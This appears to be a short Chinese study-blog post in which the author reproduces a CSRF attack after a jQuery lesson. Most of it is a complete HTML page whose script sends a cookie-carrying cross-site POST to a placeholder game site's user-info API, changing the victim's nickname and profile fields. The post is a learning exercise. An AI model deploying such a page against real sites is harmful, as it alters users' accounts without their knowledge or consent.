CSRF JQ POST提交

在温习完前端后，继续学习了JS JQ。在讲JQ时，讲师用JQ本地复现了一遍CSRF。因为我对CSRF的理解一直处于概念上，所以就此机会将JQ复现代码学习理解一遍！

某小游戏网csrf POST更改账户信息。代码具体如下：

<!DOCTYPE html>
<html>
<head>
	<title>jquery</title>
	<script src="https://libs.baidu.com/jquery/2.0.0/jquery.js"></script>
</head>
<body>
	<script>
	$.ajax({
	      type: 'POST',
	      url:'http://www.xxxx.com/xxxapi/user/info',
	      dataType: 'json',
	      data: {
	        "headimg":"/static/usericon/userphoto20.png",
			"user_tag":[],
			"allow_status":"1",
			"nickname":"Leafer",
			"real_name":"",
			"id_number":""},
	      xhrFields: {
	          withCredentials:true  //支持附带详细信息,可以携带cookie
	      },
	      crossDomain: true,//请求偏向外域,支持跨域请求
	      success: function (data) {
	          console.log(data);
	      }
	    });
	</script>
</body>
</html>